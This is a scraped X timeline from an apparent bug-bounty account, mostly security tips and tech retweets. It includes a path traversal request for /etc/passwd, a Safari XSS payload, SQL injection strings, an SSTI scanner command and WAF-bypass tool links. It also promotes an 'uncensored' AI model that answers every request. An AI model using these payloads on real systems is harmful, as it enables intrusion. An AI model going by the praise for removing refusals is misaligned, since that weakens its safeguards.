MSc AI · LLM Agents & RAG · Offensive Security (Go/C/.py) · Bug Bounty Hunter 🐍 Code is poetry. Ship it. 🐍

Joined April 2026
Thanks 🥷
4
280
📣📣📣 Calling all Chrome bug hunters! 📣📣📣 Rules updates: We're rewarding more types of deep security research, recognizing high-value fixes across more severity tiers, and providing new opportunities for researcher recognition. For details, see our latest blog post 👇 bughunters.google.com/blog/c…
3
37
1
357
18,986
Used the popular GitHub repo REA (Reverse Engineer Anything) to sideload APKs onto webOS and remove all factory bloatware. My TV is finally fast! github.com/morluto/rea
1
1
91
Dev 101x retweeted
Eu vibecodei minha TV com a Claude. Todos os bloatwares pré-instalados e anúncios foram removidos, além disso recriei o OS dela e fiz um design clean inspirado na AppleTV. ~70% menos uso de RAM e interface 3x mais rápida.
429
518
187
14,099
1,472,093
Another good hunt tonight. Nginx merge slashes path traversal vulnerability in one of the popular tech giant. Path Traversals can be soo simple. 🔥 Payload: GET ///////../../../etc/passwd Credit: @__nav1n_ #bugbountytips #bugbountytip #bugbounty
8
77
3
692
42,076
Dev 101x retweeted
DeepSeek v4.1 Flash 1017 FULLY UNCENSORED. No cheap system prompts, no cheap template tricks, no lora or runtime bs, no sft. Model’s capabilities preserved as much as possible. Complies with all requests on low/max reasoning efforts. I’ll be making NVFP4 and a ~2.8bpw version for 2x DGX Sparks soon too. huggingface.co/dealignai/Dee…
55
182
11
2,514
96,011
Also welcoming five new first-time contributors this week: @Securityinbits , @3ggspl01t , @clivoa , @Devcop101 , and @Ivancabrera02 . The farm is getting bigger.
3
5
61
Bypassing Web Application Firewall (WAF) with EvilWAF We covered an advanced transparent MITM firewall-bypass proxy and deep WAF vulnerability scanner hackers-arise.com/bypass-web…
1
46
246
12,966
A nice one, for Safari only, by @amirmsafari <audio src=data:,%23EXTM3U%0A%23EXT-X-TARGETDURATION:1%0A%23EXT-X-KEY:METHOD=AES-128,URI=%22skd:%22%0A%23EXTINF:1%0Ax onwebkitneedkey=alert(1)></audio>
12
146
8,463
Dev 101x retweeted
卧槽兄弟们,这个必须卧槽了, 老马掀桌子了!! Cursor Pro 一整年免费领, 相当于一年 240 刀的 Cursor Pro 直接白送啊他喵的, 不用学生证,不用教育邮箱,全球任何人都能领, 属于官方开启的全员零元购模式了😳 正常 20 刀一个月的顶级 AI 编程工具账单直接清零, 截止 10 月 15 号,就剩三天,两分钟三步搞定,手慢无。 这次福利极其直接,没有任何套路: → 无需学生认证,普通邮箱就能参与 → 全球所有人可用,完全零门槛上车 → 正常价格 20 刀/月,直接送 Pro 兑换码 → 全球黑客松 MLH 官方直发,正规有效 整个领取流程只有两分钟,三步搞定: 1️⃣ 去 MLH 活动页注册并签到 Hacktoberfest 挑战 2️⃣ 注册并下载 Cursor,登录你的账号 3️⃣ 留意注册邮箱,收到 Promo Code 后在 Cursor 设置里的 Billing 页面手动升级 Pro 兑换 截止时间就在 10 月 15 日,兑换码由官方分批通过邮件发出,早提交早进发放队列。 工具是拿来跑真实生产力的,能零成本白嫖一年 240 刀的顶级 AI 编程神器,省下的全都是真金白银。 官方活动入口和详细避坑指南放一楼了,抓紧去占车位。
强烈推荐所有用 Claude Code 的人,把这个功能打开,这才是真正能无缝衔接上下文的开发流,把手机当成终端的遥控器,而不是在云端重开一个白板会话,只要掌握了本地进程不杀的底层逻辑,你走到哪,本地的开发环境就跟到哪。  整条机制其实极其清晰:终端开着 → 会话敲 /rc → 手机扫码接管 → 电脑本地继续跑 → 文件和 MCP 一个不丢 你肯定遇到过这种情况,下班出门了,电脑里的活还没跑完,或者通勤、躺床上的时候突然想到一个改动,以前只能干着急,等回家再说。 想用远程桌面顶一下,又卡又难操作,手机小屏幕上根本点不准。 Claude Code 其实自带了远程控制,手机直接当遥控器,接着电脑里的会话继续干。 方法简单到离谱,在已有会话里输入 /rc,手机扫码连上就行。 最关键的是,会话还在你自己电脑上跑,文件、MCP、项目配置全在本地,一点不丢,手机只是个发指令的屏幕。 两个前提记牢,电脑得开着,进程不能关。 它和云端会话是两回事,云端跑在服务器上,你本机的 MCP 和项目配置根本带不过去,这个全都在。 相当于口袋里揣了个随时能接手的终端,人走到哪,活就能跟到哪。
519
962
72
6,763
1,307,066
REA + OrcaCyber Zero 1.5. Somehow everything becomes reverse-engineerable. No more “I can't help with that.” Just “Let's figure out how it works.”
12
45
7
726
28,281
⚠️ SCAM ALERT: googlegeminiearly-access[.]com is a fake Google Gemini site. The fake Cloudflare CAPTCHA copies a malicious PowerShell script to your clipboard to install an infostealer via 1rvrental[.]com. Never paste anything from websites into Win + R!
This quoted post is unavailable.
88
Dev 101x retweeted
New SQLi technique (concatenation): `'||Column_name--+` Then: `'||table_name.column_name--+` using dot notation. So: `'||not_valid_column_name--+` → returns an error `'||valid_column_name--+` → success `'||valid_table.valid_column--+` → success I got a bounty for this f*king sample POC cause akamai and backend limited it to 8 chars. I was lucky because the column name was `id` on @Bugcrowd #bugbounty #bugbountytips
12
69
1
576
14,395
SSTI - Server-Side Template Injection Scanner. 🔥 How to find SSTI vulnerabilities faster. 🔥 Tool: github.com/vladko312/SSTI… Command: python sstimap.py -u https://target[.]com/page?name=test #bugbountytips #bugbountytip #bugbounty
1
69
332
13,952
卧槽, 真正免费用Qwen3.8-27B,Hugging Face 员工发了个新玩法。 任意终端运行 ssh chat.hf.co 回车就进聊天界面。 不用注册、不用 API key、不用装任何东西。 额度不限量。 任意选HF Inference Providers 上的托管模型。 在任何一台能开终端的机器上都能用,服务器上、树莓派上、别人的电脑上。 这大概是现在门槛最低的"随身 AI"了
65
133
11
1,010
99,050
Dev 101x retweeted
Some of the latest additions to the farm🌱 @cyb3rbuff - 6 PRs on LOT Tunnels, adding iodine, ligolo-ng, Neo-reGeorg, reGeorg, dnscat2, and suo5. Tunneling section just got a lot heavier. @deFr0ggy - 2 commits on LOT Tunnels, updating Tailscale and improving the README. @YaredHenriquezB - 🥇First contribution ever: added the file createnew command to Fsutil in LOLBAS.
1
5
10
440
🚀 Distilled agent in action: Testing Blind SSRF on Renegadecrew. Optimized for security research. Configurations available soon! 🛡️🔥 #CyberSecurity #RedTeaming #AI #InfoSec
🤖 Made with AI
1
1
4
90
Telegram Bot Dumper Forensic CLI and web tool that dumps chat histories, media, user info, and profiles from a Telegram bot token for OSINT and security assessments. github.com/soxoj/telegram-bo…
1
31
151
7,622
Someone is porting PS5 games to run natively on PC. No emulator. AnyPS5 converts the game's code into a normal Windows or Linux program. A real game has already booted to the main menu and into gameplay with sound. github.com/boykopovar/AnyPS5
21
65
10
822
123,933
أنا ما أصدق عيوني، نظام كامل مو لعبة " نظام تشغيل " بلايستيشن ٥ تم محاكاته في الحاسب " بي سي " ههههههههههههههههههههههههههههههههههه 🤣😂 توقعت ينزل بعد شهرين لكن لعل الحماسية والتشجيع دفع الفريق في توفير المحاكي للنظام بشكل علناً راح نلعب حرامي سيارات بي سي
63
210
17
4,206
620,106